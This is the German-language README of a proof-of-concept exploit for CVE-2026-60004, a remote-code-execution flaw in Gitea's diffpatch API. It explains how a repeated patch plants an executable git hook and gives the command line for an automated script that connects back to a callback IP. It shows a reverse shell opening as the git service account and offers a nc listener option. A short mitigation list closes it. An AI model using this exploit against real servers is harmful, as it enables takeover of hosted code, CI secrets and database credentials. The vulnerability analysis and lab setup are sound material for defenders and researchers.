
CVE-2026-60004 — Updated!
Gitea diffpatch RCE
CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
Übersicht
CVE-2026-60004 ist eine Remote-Code-Execution-Schwachstelle (RCE) in Gitea. Die
diffpatch-API wendet einen übermittelten Patch mitgit apply --cachedan, das nur den Index berühren und niemals Dateien auf die Festplatte schreiben sollte. Durch das zweimalige Senden desselben Patches erzwingt ein Angreifer eine Add/Add-Kollision, die den Three-Way-Merge-Fallback (-3) von Git auslöst. Dieser Pfad ignoriert--cachedund checkt die Datei in den Arbeitsbaum aus. Da der temporäre Klon bare ist, ist die Wurzel des Arbeitsbaums$GIT_DIR. Ein Patch, der ein ausführbareshooks/post-index-changeerstellt, platziert daher einen aktiven Git-Hook, den Git beim nächsten Index-Update automatisch ausführt – und dabei Befehle als Gitea-Dienstkonto ausführt. Der Endpunkt erfordert Schreibzugriff auf das Repository, aber die Registrierung ist standardmäßig aktiviert, sodass jeder Benutzer, der sich anmelden und ein Repository erstellen kann, ihn erreichen kann.
Betroffene Versionen
| Kategorie | Version |
|---|---|
| Verwundbar | Gitea 1.17 ≤ Version ≤ 1.27.0 |
| Behoben | Gitea 1.27.1 oder neuer |
Auswirkungen
- Remote-Code-Ausführung als Gitea-Dienstkonto (
git) - Zugriff auf alle gehosteten Repositories, CI-Secrets und Datenbank-Anmeldedaten
Umgebung
Die verwundbare Gitea-Umgebung bauen und ausführen. Die Registrierung bleibt offen und der
Server wird mit Git 2.32+ ausgeliefert, was den -3-Fallback aktiviert, auf den sich der Angriff stützt.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Voraussetzung | Zustand in diesem Labor |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ auf dem Server (aktiviert -3) | 2.54 |
| Offene Registrierung | aktiviert (Standard) |
| Schreibzugriff auf das Repository | über selbst registriertes Konto |
PoC
Der Exploit wird vollständig von gitea_exploit.py automatisiert. Mit einem Konto, das ein
Repository erstellen kann, erstellt es das Ziel-Repository, übermittelt denselben Patch
wiederholt, bis Gits -3-Fallback auslöst, und fängt die Reverse Shell mit einem
integrierten Listener ab – kein manuelles Setup, kein Patch-Basteln und keine Blob-Hash-Berechnung nötig.
# python3 gitea_exploit.py <Ziel-ip:port> <Callback-ip> [Callback-port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Der -3-Fallback feuert nur in bestimmten Timing-Fenstern, daher schleift das Skript
create → send → send, bis es zuschlägt (Standard: 25 Versuche). Wenn ein Send blockiert,
hat der Hook gefeuert und der Listener lässt dich in eine Shell als git fallen:
[*] Versuch 3/25 -> send#1 201, send#2 timeout <- BLOCKIERT (gefeuert!)
[+] Shell von 172.17.0.2:53344 -- Befehle eingeben, Ctrl-C zum Beenden
uid=1000(git) gid=1000(git) groups=1000(git)
Optionen:
--no-listen— fange die Shell mit deinem eigenen externenncstatt mit dem integrierten Listener--user/--pw/--repo/--branch— überschreibe das Standardkonto und das Ziel-Repository
Gegenmaßnahmen
- Gitea auf 1.27.1 oder neuer aktualisieren
- Offene Registrierung deaktivieren, falls nicht erforderlich (
DISABLE_REGISTRATION=true) - Einschränken, wer die Instanz erreichen und Repositories erstellen kann
Analyse
- KR: Coming soon!
- EN: